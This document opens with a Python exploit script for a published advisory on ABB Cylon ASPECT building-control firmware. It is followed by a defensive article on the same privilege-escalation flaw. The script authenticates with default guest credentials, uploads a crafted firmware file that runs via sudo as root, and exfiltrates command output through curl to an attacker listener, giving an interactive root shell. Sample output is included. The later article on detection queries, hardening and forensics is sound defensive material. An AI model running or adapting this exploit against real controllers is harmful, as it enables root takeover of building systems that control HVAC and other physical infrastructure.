ABB Cylon Aspect 3.08.03 - Guest2Root Privilege Escalation
#!/usr/bin/env python
#
#
# Exploit Title: ABB Cylon Aspect 3.08.03 - Guest2Root Privilege Escalation
#
#
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
# Firmware: <=3.08.03
#
# Summary: ASPECT is an award-winning scalable building energy management
# and control solution designed to allow users seamless access to their
# building data through standard building protocols including smart devices.
#
# Desc: The ABB BMS/BAS controller is vulnerable to code execution and sudo
# misconfiguration flaws. An authenticated remote code execution vulnerability
# in the firmware update mechanism allows an attacker with valid credentials to
# escalate privileges and execute commands as root. The process involves uploading
# a crafted .bsx file through projectUpdateBSXFileProcess.php, which is then moved
# to htmlroot and executed by projectUpdateBSXExecute.php. This script leverages
# sudo to run the uploaded bsx file, enabling the attacker to bypass input validation
# checks and execute arbitrary code, leading to full system compromise and unauthorized
# root access.
#
# ---------------------------------------------------------------------------------
#
# $ ./bsxroot.py 192.168.73.31 192.168.73.9 --creds guest:guest
# [o] Exploit starting at 21.05.2025 12:33:47
# [o] Using credentials: guest:*****
# [o] Auth successfull.
# [o] PHPSESSID: g02p9tnog4d2r1z4eha1e9e688
# [o] Listening on 192.168.73.9:5555...
# [o] Building name: ["Tower 3"]
# [o] runtime.ver=v3.08.03
# [+] -> [virtual] rootshell
#
# # id
# uid=0(root) gid=0(root) groups=0(root)
# # pwd
# /home/MIX_CMIX/htmlroot
# exit
# [o] Removing callback file.
# [!] Connection terminated.
#
# ---------------------------------------------------------------------------------
#
#
# Tested on: GNU/Linux 3.15.10 (armv7l)
# GNU/Linux 3.10.0 (x86_64)
# GNU/Linux 2.6.32 (x86_64)
# Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
# Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
# PHP/7.3.11
# PHP/5.6.30
# PHP/5.4.16
# PHP/4.4.8
# PHP/5.3.3
# AspectFT Automation Application Server
# lighttpd/1.4.32
# lighttpd/1.4.18
# Apache/2.2.15 (CentOS)
# OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
# OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2025-5947
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5947.php
#
#
# 21.04.2024
#
#
from colorama import init, Fore
from urllib.parse import quote
from time import sleep
import threading
import datetime
import requests
import socket
import re
import os
import sys
init()
def safe(*trigger, ):
return True
def auth(target_ip, user, pwd):
login_ep = f"http://{target_ip}/validate/login.php"
payload = {
'f_user' : user, # 'aamuser, guest'
'f_pass' : pwd, # 'default, guest'
'submit' : 'Login'
}
sess = requests.Session()
r = sess.post(login_ep, data=payload)
if r.status_code == 200 and 'PHPSESSID' in sess.cookies:
print("[o] Auth successfull.")
phpsessid = sess.cookies.get('PHPSESSID')
print("[o] PHPSESSID:", phpsessid)
return sess.cookies
else:
print("[!] Auth failed.")
return None
def kacuj(target_ip, listen_ip, cmd, token=None, cookies=None):
agentwho = "NetRanger/84.19"
payload = f"curl -A \"`{cmd}`\" {listen_ip}:5555"
url = f"http://{target_ip}/projectUpdateBSXFileProcess.php"
headers = {
"Content-Type": "multipart/form-data; boundary=----zeroscience",
"User-Agent": agentwho
}
data = (
"------zeroscience\r\n"
f"Content-Disposition: form-data; name=\"userfile\"; filename={AAM}\r\n"
"Content-Type: application/octet-stream\r\n\r\n"
f"{payload}\r\n"
'------zeroscience--\r\n'
)
try:
r = requests.post(url, headers=headers, data=data, cookies=cookies)
if r.status_code == 200:
url_execute = f"http://{target_ip}/projectUpdateBSXExecute.php?file={AAM}"
r = requests.get(url_execute, cookies=cookies)
return r.content
except requests.exceptions.RequestException as e:
print(f"[!] Error sending payload: {e}")
return None
def koj_slusha(listen_ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 5555))
s.listen(1)
print(f"[o] Listening on {listen_ip}:5555...")
while True:
conn, addr = s.accept()
try:
data = conn.recv(9999)
if not data:
print("[!] Connection closed by remote host.")
break
dd = data.decode("utf-8", errors="ignore")
uam = re.search(r"User-Agent:\s*(.*)\s*Host:", dd, re.DOTALL)
if uam:
print(uam.group(1), end="")
else:
print
#print(f"[o] Full response:\n{dd}")
except Exception as e:
print(f"[!] Error while receiving data: {e}")
finally:
conn.close()
def main():
if safe(True):
print("\nSafety: \033[92mON\033[0m")
exit(-17)
else:
next
global AAM
global start
AAM = "firmware.bsx"
start = datetime.datetime.now()
start = start.strftime("%d.%m.%Y %H:%M:%S")
title = "\033[96mABB Cylon® ASPECT® Supervisory Building Control v3.08.03\033[0m"
subtl = "\033[95m\t\t-> Remote Root Exploit <-\033[0m"
prj = f"""
P R O J E C T\033[90m
.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
\033[0m
{title}
{subtl}
"""
if len(sys.argv) < 4:
print(prj)
print("./bsxroot.py <targetIP> <listenIP> <PHPSESSID / --creds user:pass>")
sys.exit(-0)
target_ip = sys.argv[1]
listen_ip = sys.argv[2]
auth_arg = sys.argv[3]
print("[o] Exploit starting at", start)
if "--creds" in sys.argv:
creds_index = sys.argv.index("--creds") + 1
if creds_index >= len(sys.argv):
print("[!] Error: Missing credentials after --creds.")
sys.exit(-1)
user_pass = sys.argv[creds_index]
if ":" not in user_pass:
print("[!] Error: Invalid credentials format. Expected format: user:pass.")
sys.exit(-2)
user, pwd = user_pass.split(":")
print(f"[o] Using credentials: {user}:{'*' * len(pwd)}")
cookies = auth(target_ip, user, pwd)
else:
token = auth_arg
cookies = {"PHPSESSID": token}
if not cookies:
sys.exit(-3)
nishka = threading.Thread(target=koj_slusha, args=(listen_ip,))
nishka.daemon = True
nishka.start()
bacname = f"http://{target_ip}/getApplicationNamesJS.php"
r = requests.get(bacname)
if r.status_code == 200:
try:
r = r.content
decor = r.decode("utf-8")
except UnicodeDecodeError:
decor = r.decode("utf-8", errors="ignore")
odg = re.search(r"var instanceDirectory=(.*?);", decor)
if odg:
cmd = "echo -ne \"[o] \" ; cat runtime/release.properties | grep -w 'runtime.ver'"
print("[o] Building name:", odg.group(1))
kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies)
print("\033[92m[+] -> [virtual] rootshell\033[0m\n")
else:
print("[o] Unknown building name.")
sleep(0.01)
while True:
sleep(0.01)
cmd = input("# ")
if cmd.lower() in ["exit", "quit"]:
print("[o] Removing callback file.")
kacuj(target_ip, listen_ip, "rm /tmp/" + AAM, token=None, cookies=cookies)
print("\033[91m[!] Connection terminated.\033[0m")
os._exit(-17)
kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies)
nishka.join()
if __name__ == "__main__":
main() ABB Cylon ASPECT v3.08.03 — “Guest2Root” Privilege Escalation: Overview, Impact, and Defense
This article examines a known privilege-escalation class affecting certain ABB Cylon ASPECT building management systems (BMS/BAS) found in firmware series up to version 3.08.03. The issue combines an authenticated file-upload/update pathway with a server-side command execution step and an overly-permissive sudo configuration. The result can allow an authenticated low-privileged user to cause execution of arbitrary code with root privileges. The goal here is to explain the vulnerability class, describe non-actionable attack flow at a high level, and provide detection and hardening guidance suitable for defenders, integrators, and site operators.
Background: Why building management systems matter
Building management systems (BMS/BAS) such as ASPECT provide centralized monitoring and control for HVAC, lighting, metering and other smart devices. These appliances often run embedded Linux with web services and application layers, and are deployed widely across commercial buildings and critical environments. A compromise of such equipment can enable lateral movement, data exfiltration, and disruption of environmental controls — making availability and privilege containment critical.
Vulnerability class and root causes
- Authenticated file-upload or firmware update endpoint: a legitimate mechanism that accepts files (project packages, firmware updates, or scripts) from authenticated users.
- Insufficient server-side validation: uploaded content is insufficiently validated or sanitized, and may be placed into a web-accessible location or invoked by server-side logic.
- Command execution in application flow: the server process invokes uploaded artifacts (or invokes system utilities) in a way that can be influenced by content or metadata of the upload.
- Sudo / privilege misconfiguration: a service account or web application is permitted to run administrative commands via sudo without adequate command restrictions (e.g., NOPASSWD allowing arbitrary parameters).
When present together, these weaknesses enable an authenticated user who can upload to the device to cause server-side execution as a privileged user — effectively elevating to root.
High-level attack flow (defender-oriented, non-actionable)
- An authenticated user leverages an upload/update feature intended for project assets or firmware.
- The server accepts the upload and stores the artifact in a location that is later executed or invoked by the platform’s update mechanism.
- Because of insufficient input validation and an invocation path that calls a privileged helper via sudo, the uploaded content triggers execution with elevated privileges.
- Once root execution is achieved, the attacker can create backdoors, exfiltrate sensitive configuration, or move laterally to other networked assets.
Impact and severity
| Aspect | Impact |
|---|---|
| Confidentiality | Access to building management configuration and potentially connected systems |
| Integrity | Unauthorized changes to control logic, schedules, or firmware |
| Availability | Potential service disruption of HVAC and other environmental controls |
| Privilege | Attacker can obtain root on the embedded appliance |
Detection and indicators of compromise (IoCs)
Focus detection on the combination of unusual uploads, new files in webroot, and execution of commands by web/application user accounts. Below are defensive detection strategies and safe example queries for log platforms.
- Monitor authenticated file uploads: generate alerts for multipart/form-data POSTs to update or management endpoints or for uploads by low-privileged accounts outside normal change windows.
- Track new/modified files in webroot or runtime directories: watch for file creations under web-accessible directories from unexpected owners or at unusual times.
- Audit sudo usage: log and inspect sudo calls originating from application/web users; alert on any NOPASSWD sudo invocations or calls to shell interpreters.
- Correlate network callbacks: unexpected outbound connections from embedded devices to uncommon external IPs or ports after an upload/update event.
Example Splunk-style search patterns (defender-focused):
# Detect multipart uploads to HTTP POST endpoints
index=web_access sourcetype=access_combined method=POST
"multipart/form-data"
| stats count by uri, user, clientip
| where count > 10
Explanation: This query aggregates POST requests containing multipart form-data (typical of file uploads). Alert on anomalies such as a single client performing many uploads or uploads to management URIs.
# Detect new files in webroot (host endpoint logs or file monitoring)
index=os_audit path="/var/www" OR path="/htmlroot" event=created
| table _time host user path
Explanation: Monitor file creation events under webroot directories. Any new executable or script file added by non-admin users should be investigated.
# Audit sudo command usage
index=syslog procname=sudo
| table _time host user sudo_user command result
| where sudo_user="root" AND user IN ("www-data","httpd","appuser")
Explanation: List sudo invocations where a web or application user invoked a command as root. Alert on NOPASSWD entries or unexpected commands.
Mitigation and remediation guidance
Defenders should treat root-calls from web/application contexts as high-risk. Remediation requires multiple complementary controls: configuration changes, patching by the vendor, runtime hardening, and improved monitoring.
- Apply vendor patches: the primary remediation is to install vendor-supplied fixes that remove the vulnerable execution path or add server-side validation. Follow vendor advisories and test updates in a lab before production deployment.
- Reduce privileged sudo usage: remove broad NOPASSWD sudo rules. Only allow the minimum set of commands and restrict by full path and fixed arguments where possible.
- Harden file upload handling: implement strict content type and signature checks, disallow direct execution of uploaded artifacts, and prevent storage of uploaded files in web-accessible directories.
- Least privilege for web processes: ensure the web/application process runs with the minimal OS privileges required and cannot directly invoke administrative helpers.
- Network segmentation: isolate management interfaces from general-purpose networks and restrict outbound connectivity to only approved update servers.
- Credential management: change default/shared accounts, enforce strong passwords, and use multi-factor authentication where supported.
Secure patterns: server-side upload handling (example)
# Example: PHP pseudo-code for safer file upload handling (illustrative)
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Strictly check authentication and authorization first
if (!user_can_upload($current_user)) { http_response_code(403); exit; }
// Validate uploaded file parameters
if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
http_response_code(400); exit;
}
$mime = finfo_file(finfo_open(FILEINFO_MIME_TYPE), $_FILES['file']['tmp_name']);
$allowed = ['application/zip', 'application/octet-stream'];
if (!in_array($mime, $allowed)) { http_response_code(415); exit; }
// Store uploads outside webroot and with randomized filename
$storage_dir = '/var/secure_uploads/';
$safe_name = bin2hex(random_bytes(16)) . '.pkg';
$dest = $storage_dir . $safe_name;
if (!move_uploaded_file($_FILES['file']['tmp_name'], $dest)) { http_response_code(500); exit; }
// Schedule background validation and processing by a non-privileged worker
queue_background_validation($dest, $current_user);
echo "accepted";
}
Explanation: The example demonstrates defensive handling: strict auth checks, MIME/format validation, storing uploads outside webroot, using randomized filenames, and delegating processing to an isolated worker process rather than executing uploads directly in the web request context.
Secure sudo configuration example
# Good practice: explicit, full-path allowed commands only
# Do NOT use NOPASSWD for general shell or broad utilities
# /etc/sudoers.d/webapp
webapp_account ALL=(root) NOPASSWD: /usr/local/bin/authorized_updater --apply /var/secure_updates/*.pkg
Explanation: Restricting sudo to a single, full-path helper and fixed arguments reduces the chance that arbitrary data or an uploaded file can be used to execute unintended commands. Avoid granting web processes blanket sudo rights or permitting shells.
Forensics and post-incident steps
- Isolate the device from networks immediately while preserving volatile data.
- Collect system logs, web server logs, process listings, and timestamps for any file writes or executions.
- Inspect for persistent artifacts: new accounts, modified sudoers, scheduled tasks, and newly installed binaries.
- Rebuild or restore from known-good images if root compromise is confirmed.
- Rotate credentials and perform a network-wide scan to detect lateral movement.
Operational recommendations
- Maintain an inventory of BMS/BAS appliances and their firmware levels.
- Restrict access to management interfaces via VPNs or bastion hosts; do not expose them to the internet.
- Test vendor updates in a staging environment; validate fixes for both functionality and security behavior.
- Adopt continuous monitoring for configuration drift (e.g., unexpected sudoers modifications).
Responsible disclosure and references
Vulnerabilities in industrial and building automation platforms must be reported through vendor or coordinated disclosure channels. Operators should consult vendor advisories and apply patches when available. For documented advisories on this (and similar) vulnerability classes, review vendor bulletins and reputable vulnerability advisories for guidance and timelines.